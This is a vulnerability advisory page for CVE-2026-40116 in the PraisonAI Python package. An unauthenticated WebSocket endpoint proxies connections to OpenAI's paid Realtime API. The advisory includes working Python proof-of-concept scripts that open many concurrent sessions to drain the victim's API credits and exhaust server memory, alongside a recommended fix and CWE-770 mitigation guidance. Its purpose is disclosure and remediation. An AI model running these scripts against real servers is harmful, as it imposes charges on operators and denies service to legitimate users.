Skip to content

GHSA-q5r4-47m9-5mc7 CVE-2026-40116 PYSEC-2026-2920

PraisonAI: Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits

High PyPI
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.37%
Chance of exploitation in the next 30 days. Higher than 31.18% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
4.5.128
Upgrade praisonai to this version or later

Description

Summary

The /media-stream WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits.

Details

The vulnerability exists in src/praisonai/praisonai/api/call.py. The FastAPI application defines a WebSocket endpoint at line 108 with no authentication middleware, no Twilio request signature validation, and no rate limiting:

# line 108-112 — no auth, no middleware, accepts any WebSocket client
@app.websocket("/media-stream")
async def handle_media_stream(websocket: WebSocket):
    """Handle WebSocket connections between Twilio and OpenAI."""
    print("Client connected")
    await websocket.accept()

Immediately upon connection, the handler opens an authenticated session to OpenAI's paid Realtime API using the server's OPENAI_API_KEY:

# line 114-120 — each unauthenticated connection spawns a paid API session
    async with websockets.connect(
        'wss://api.openai.com/v1/realtime?model=gpt-4o-realtime-preview-2024-10-01',
        extra_headers={
            "Authorization": f"Bearer {OPENAI_API_KEY}",
            "OpenAI-Beta": "realtime=v1"
        }
    ) as openai_ws:

The receive_from_twilio() coroutine then reads unlimited messages and forwards them directly to OpenAI:

# line 128-135 — unbounded message ingestion, no size/rate check
                async for message in websocket.iter_text():
                    data = json.loads(message)
                    if data['event'] == 'media' and openai_ws.open:
                        audio_append = {
                            "type": "input_audio_buffer.append",
                            "audio": data['media']['payload']
                        }
                        await openai_ws.send(json.dumps(audio_append))

The server binds to 0.0.0.0 (line 273) and can be exposed to the internet via ngrok (--public flag). Twilio's RequestValidator is never used — the endpoint was designed to receive Twilio media streams but performs no verification that the connecting client is actually Twilio. The standard mitigation for Twilio WebSocket endpoints is to validate the X-Twilio-Signature header, which is absent here.

Additionally, uvicorn.run() is called without a ws_max_size parameter (line 273), defaulting to 16MB per WebSocket message. Combined with no connection limit, this allows substantial memory consumption.

PoC

# Step 1: Verify the endpoint is accessible and accepts connections
python3 -c "
import asyncio
import websockets
import json

async def test():
    async with websockets.connect('ws://TARGET:8090/media-stream') as ws:
        # Send a start event (mimicking Twilio)
        await ws.send(json.dumps({
            'event': 'start',
            'start': {'streamSid': 'attacker-session-1'}
        }))
        # Send a media event — this gets forwarded to OpenAI Realtime API
        await ws.send(json.dumps({
            'event': 'media',
            'media': {'payload': 'SGVsbG8gV29ybGQ='}
        }))
        # Receive the OpenAI response routed back
        response = await asyncio.wait_for(ws.recv(), timeout=10)
        print('Received response (confirms OpenAI session active):', response[:200])

asyncio.run(test())
"

# Step 2: Demonstrate resource exhaustion — open multiple concurrent connections
# Each connection spawns an OpenAI Realtime API session billed to the server owner
python3 -c "
import asyncio
import websockets
import json
import base64

async def open_session(i):
    uri = 'ws://TARGET:8090/media-stream'
    async with websockets.connect(uri) as ws:
        await ws.send(json.dumps({
            'event': 'start',
            'start': {'streamSid': f'attacker-{i}'}
        }))
        # Send audio data to keep the OpenAI session active and billing
        payload = base64.b64encode(b'\\x00' * 8000).decode()  # ~8KB audio chunk
        for _ in range(100):
            await ws.send(json.dumps({
                'event': 'media',
                'media': {'payload': payload}
            }))
            await asyncio.sleep(0.01)
        print(f'Session {i}: sent 100 audio chunks to OpenAI via proxy')

async def main():
    # Open 10 concurrent sessions (each consuming OpenAI Realtime API credits)
    await asyncio.gather(*[open_session(i) for i in range(10)])

asyncio.run(main())
"

Replace TARGET with the server's hostname/IP. Each connection in Step 2 opens a separate authenticated OpenAI Realtime API session. The server logs will show "Client connected" and "Incoming stream has started" for each attacker session.

Impact

  1. OpenAI API credit drain: Each unauthenticated WebSocket connection opens a billed OpenAI Realtime API session. An attacker can open many concurrent sessions and stream audio data, accumulating charges on the victim's OpenAI account. The Realtime API bills per-second of audio, making this financially impactful.

  2. Denial of service: Legitimate Twilio callers are denied service when the server's resources (memory, file descriptors, OpenAI API rate limits) are exhausted by attacker connections.

  3. Server memory exhaustion: With no per-message size limit (16MB default) and no connection limit, an attacker can consume server memory by opening many connections and sending large payloads.

Recommended Fix

Add Twilio signature validation, connection limits, and rate limiting:

from twilio.request_validator import RequestValidator
from starlette.websockets import WebSocketState
import time

# Connection tracking
MAX_CONCURRENT_CONNECTIONS = 20
active_connections = 0
connection_lock = asyncio.Lock()

TWILIO_AUTH_TOKEN = os.getenv('TWILIO_AUTH_TOKEN')

@app.websocket("/media-stream")
async def handle_media_stream(websocket: WebSocket):
    global active_connections
    
    # Enforce connection limit
    async with connection_lock:
        if active_connections >= MAX_CONCURRENT_CONNECTIONS:
            await websocket.close(code=1008, reason="Too many connections")
            return
        active_connections += 1
    
    try:
        # Validate Twilio signature if auth token is configured
        if TWILIO_AUTH_TOKEN:
            validator = RequestValidator(TWILIO_AUTH_TOKEN)
            url = str(websocket.url).replace("ws://", "http://").replace("wss://", "https://")
            signature = websocket.headers.get("X-Twilio-Signature", "")
            if not validator.validate(url, {}, signature):
                await websocket.close(code=1008, reason="Invalid signature")
                return
        
        await websocket.accept()
        # ... rest of handler ...
    finally:
        async with connection_lock:
            active_connections -= 1

Additionally, pass ws_max_size to uvicorn to limit individual message sizes:

uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning", ws_max_size=1_048_576)  # 1MB

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.5.128
4.5.128

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.5.128

pip
pip install --upgrade "praisonai>=4.5.128"
poetry
poetry add "praisonai>=4.5.128"
uv
uv add "praisonai>=4.5.128"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor